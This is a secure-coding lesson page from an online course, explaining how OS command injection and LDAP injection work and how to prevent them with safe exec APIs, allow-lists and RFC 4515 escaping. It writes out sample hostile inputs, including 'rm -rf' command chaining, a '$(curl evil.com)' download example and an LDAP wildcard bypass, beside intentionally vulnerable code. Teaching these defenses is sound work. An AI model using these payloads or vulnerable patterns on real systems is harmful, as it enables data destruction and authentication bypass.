명령어 및 LDAP 인젝션 방지
OS 명령어 인젝션과 LDAP 인젝션의 작동 방식과 안전한 API, 허용 목록, 올바른 인코딩으로 이를 방어하는 방법을 익혀 보세요.
명령어 및 LDAP 인젝션 방지은(는) CoddyKit의 무료 Secure Coding & OWASP Top 10 for Backend 강의입니다. 이것은 4개 중 4번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 Secure Coding & OWASP Top 10 for Backend 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. Secure Coding & OWASP Top 10 for Backend 강의에는 총 4개의 강의가 포함되어 있습니다.
이 강의의 일부는 아직 번역되지 않았으며 영어로 표시됩니다.
Beyond SQL Injection
Injection is not limited to SQL. Any time untrusted input is mixed into a command interpreter, you risk injection. Two dangerous cousins are OS command injection and LDAP injection.
This lesson shows how both work and how to stop them.
How Command Injection Works
Command injection happens when user input is passed to a shell. Shell metacharacters like ;, &&, and | let an attacker append their own commands.
- Input
file.txt; rm -rf /can delete data - Input
$(curl evil.com)can exfiltrate or download
The Vulnerable Pattern
The danger is invoking a shell with a concatenated string. Here the user controls part of the command line.
import os
def ping(host):
# DANGEROUS: host is interpolated into a shell command
os.system('ping -c 1 ' + host)
# ping('8.8.8.8; rm -rf /tmp/data') runs two commandsUse Safe APIs
The fix is to avoid the shell entirely. Pass arguments as a list to an exec-style API so the OS treats input as a single argument, never as syntax.
import subprocess
def ping(host):
# SAFE: no shell, host is a single argument
subprocess.run(['ping', '-c', '1', host], shell=False, check=True)Validate with Allow-Lists
When input feeds a command, restrict it to a known-good pattern. An allow-list rejects anything outside an expected set instead of trying to block bad characters.
import re
def is_valid_host(host):
pattern = r'^[a-zA-Z0-9.-]{1,253}$'
return re.match(pattern, host) is not None
print(is_valid_host('example.com'))
print(is_valid_host('8.8.8.8; rm -rf /'))Avoid Shell Features
Never enable shell=True, eval, or string-based command builders with untrusted data. If you must use a shell, escape arguments with the platform quoting function, but prefer the no-shell approach.
What Is LDAP Injection?
LDAP injection targets directory queries used in authentication and lookups. Special characters like *, (, ), and \ alter the filter logic.
An input of * in a username field can match every entry, bypassing access checks.
Vulnerable LDAP Filter
Building filters by string concatenation lets attackers rewrite the query.
def build_filter(username):
# DANGEROUS: username can contain LDAP metacharacters
return '(&(uid=' + username + ')(active=TRUE))'
# build_filter('*)(uid=*') opens the filter to all usersEscaping LDAP Input
Escape special characters before inserting them into a filter, per RFC 4515. Most LDAP libraries provide an escape helper, use it for every dynamic value.
def escape_ldap(value):
replacements = {'\\': '\\5c', '*': '\\2a', '(': '\\28', ')': '\\29', '\x00': '\\00'}
out = ''
for ch in value:
out += replacements.get(ch, ch)
return out
print(escape_ldap('*)(uid=*'))Defense in Depth
Combine safe APIs, allow-list validation, and least privilege. Run processes under low-privilege accounts so even a successful injection cannot do much.
- No shell where possible
- Validate every input
- Drop privileges before executing
Testing for Injection
Probe inputs with metacharacters during testing: semicolons and pipes for command fields, asterisks and parentheses for LDAP fields. Automated DAST tools and code review both help catch these flaws early.
Quick Check
Test your understanding of injection defenses.
Recap
You learned how command injection and LDAP injection work and how to stop them: avoid the shell with safe exec APIs, use allow-list validation, escape LDAP special characters, and apply least privilege. Treat every interpreter boundary as a place where injection can occur.
자주 묻는 질문
“명령어 및 LDAP 인젝션 방지” 강의는 무료인가요?
네 — “명령어 및 LDAP 인젝션 방지” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 Secure Coding & OWASP Top 10 for Backend 강의 전체를 잠금 해제할 수 있습니다. Secure Coding & OWASP Top 10 for Backend 강의에는 총 4개의 강의가 포함되어 있습니다.
“명령어 및 LDAP 인젝션 방지”에서 뭘 배우나요?
OS 명령어 인젝션과 LDAP 인젝션의 작동 방식과 안전한 API, 허용 목록, 올바른 인코딩으로 이를 방어하는 방법을 익혀 보세요. 브라우저에서 직접 실행하는 실습 코드로 Secure Coding & OWASP Top 10 for Backend을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.
Secure Coding & OWASP Top 10 for Backend을(를) 시작하는 데 경험이 필요한가요?
사전 경험은 필요하지 않습니다. CoddyKit의 Secure Coding & OWASP Top 10 for Backend은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 4번째 강의입니다.
“명령어 및 LDAP 인젝션 방지” 강의는 얼마나 걸리나요?
대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.
이 Secure Coding & OWASP Top 10 for Backend 강의에서 코드를 작성하고 실행할 수 있나요?
네. 모든 Secure Coding & OWASP Top 10 for Backend 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.
이 강의의 모든 강의
- 고급 SQLi 및 NoSQLi 기법
- 종합적인 입력 검증 전략
- 백엔드를 위한 콘텐츠 보안 정책(CSP)
- 명령어 및 LDAP 인젝션 방지